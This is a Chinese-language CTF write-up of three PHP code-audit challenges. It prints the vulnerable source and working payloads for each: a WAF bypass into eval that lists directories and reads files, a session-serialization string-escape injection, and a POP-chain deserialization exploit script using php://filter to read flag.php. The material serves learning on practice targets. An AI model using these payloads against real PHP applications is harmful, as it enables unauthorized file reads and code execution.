1. 程式人生 > 其它 >部分php程式碼審計習題(2)

部分php程式碼審計習題(2)

[RoarCTF 2019]Easy Calc

網頁開啟之後就是一個非常普通的計算器(web應用),直接翻查原始碼,主要看js程式碼。

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("這啥?算不來!");
            }
        })
        return false;
    })
</script>
encodeURIComponent()			字串作為 URI 元件進行編碼。
val() 			方法返回或設定被選元素的值。

發現這麼一句註釋:<!--I've set up WAF to ensure security.-->,哦,那先了解一下啥事WAF:
Web應用防護系統(也稱為:網站應用級入侵防禦系統。英文:Web Application Firewall,簡稱: WAF)。利用國際上公認的一種說法:Web應用防火牆是通過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。經過嘗試,這個似乎是攔截了字串輸入。
嗯,完全沒有思路呢,不過中間的url提到了clac.php,開啟看一看:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

好,是正則表示式,不會,找文章去看。
“/”被過濾掉了,我們用chr(47)代替。chr()函式可以從指定的ASCII值返回字元。這樣我們傳入chr(47),得到的實際是“/”。
這裡牽扯到字串解析特性。PHP需要將所有引數轉換為有效的變數名,因此在解析查詢字串時,它會做兩件事:

1.刪除空白符  
2.將某些字元轉換為下劃線(包括空格)【當waf不讓你過的時候,php卻可以讓你過】

對於waf來說,“num”和“ num”(後面這個有空格)是不同的兩個變數,所欲不會進行防護。後臺php解析的時候則會刪除空格字元從而執行php,實現waf的繞過。
這裡介紹一下scandir(),作為PHP5 Directory函式,它可以返回指定目錄中的檔案和目錄的陣列。我們可以直接通過這個函式讀取目錄。執行:
? num=1;var_dump(scandir(chr(47)))
讀出,陣列中出現[7]=>string(5)"f1agg",訪問它:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
後面內容為“/f1agg”ascii編碼後,拿到flag。(查到檔案後1和l要區分清楚)
p.s.本題似乎有多種解法,感興趣可以看一看http走私解法。

[安洵杯 2019]easy_serialize_php

(反序列化中的物件逃逸)
開啟之後是超連結,跳轉至source_php。

<?php

$function = @$_GET['f'];
//大題解釋就是對傳入的引數進行了匹配過濾
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

//如果有session就銷燬
if($_SESSION){
    unset($_SESSION);
}
//對session進行賦值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//變數覆蓋,$_session之前的賦值作廢
extract($_POST);
//確保函式存在
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
//傳入img_path會使得本身base64編碼後求sha1雜湊,加工後的session會使file_get_contents函式失效
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));
//試圖引導我傳入phpinfo
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

(分析已寫入程式碼註釋)
給我一種程式碼不完整的感覺……不過確實是完整的扒下來了。

phpinfo()			輸出關於PHP的配置資訊			
implode()			把陣列元素組合為字串;函式返回由陣列元素組合成的字串。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )			搜尋 subject 中匹配 pattern 的部分, 以 replacement 進行替換。(涉及正則表示式部分)
unset()			銷燬指定變數
file_get_contents()			之前介紹過了,把檔案讀成一個字串
sha1()			計算並返回sha1傳入引數的雜湊值

先傳參令f=phpinfo,看看配置資訊。在core->auto_append_file欄發現野生php檔案:d0g3_f1ag.php,挺像flag的。
查了查wp歸來,這個地方似乎考察一個叫php反序列化字元逃逸的知識點。連結文章很詳細。所以這個地方我們可以在一個標準的序列化字串結尾,繼續新增一些算是序列化字串格式的字元。“}”後面我們新增的字元在反序列化的時候會被拋掉,。由此實現了字串逃逸。
payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
後面的字串就是d0g3_f1ag.php的base64加密。s:3:“img”;s:20:"ZDBnM19mMWFnLnBocA";}這個肯定就是我們預期的那段序列化字元.通過filter函式過濾掉php和flag之後,我們大概得到的是:
a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}通過構造我們把img的原值成功拋棄,自主構造的值完美逃逸。但是使用後題目很噁心的給我們又擺了一道:
$flag = 'flag in /d0g3f111111ag';
梅開二度,payload:_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
總算拿到flag了……附一個用兩種方法的大佬的wp,實現鍵逃逸和值逃逸。

[MRCTF2020]Ezpop

原始碼:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
//可利用的檔案包含
    public function append($value){
        include($value);
    }
//嘗試呼叫物件觸發invoke魔術方法
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;

    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
//echo觸發toString(),看樣子是返回include()的內容
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
//物件被建立時呼叫
    public function __construct(){
        $this->p = array();
    }
//訪問設定未定義或私密域時自動呼叫
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

(程式碼分析已寫入註釋)
總之它還很貼心的貼上了反序列化魔術方法的學習網址(雖然失效了),我們也應該很貼心的去百度一下到底自己不會的這些魔術方法是啥。

__construct   當一個物件建立時被呼叫,
__toString   當一個物件被當作一個字串被呼叫。
__wakeup()   使用unserialize時觸發
__get()    用於從不可訪問(私有屬性,未初始化屬性)的屬性讀取資料
__invoke()   當指令碼嘗試將物件呼叫為函式時觸發

pop鏈據說正向理思路,反向推解法。首先我們讓Test類的成員域p等於Modifier類,觸發__get()魔術方法。這樣Modifier類會變成函式,從而使得__invoke()方法被呼叫,調用出我們需要的include()函式;之後由於__toString()方法可以輸出內容,前提是source為物件。那麼我們令source為物件,調出內容。

<?php

class Modifier {
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier;
    }
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

?>

這個地方有一個filter協議相關的知識點,需要過濾封裝程式碼。拿到這個PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezcxMjNjNGRhLTg3MjQtNDJjYy04M2I1LWYyZDVkNjkxY2Y3NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+,base64解碼發現是php程式碼,其中輸出了flag。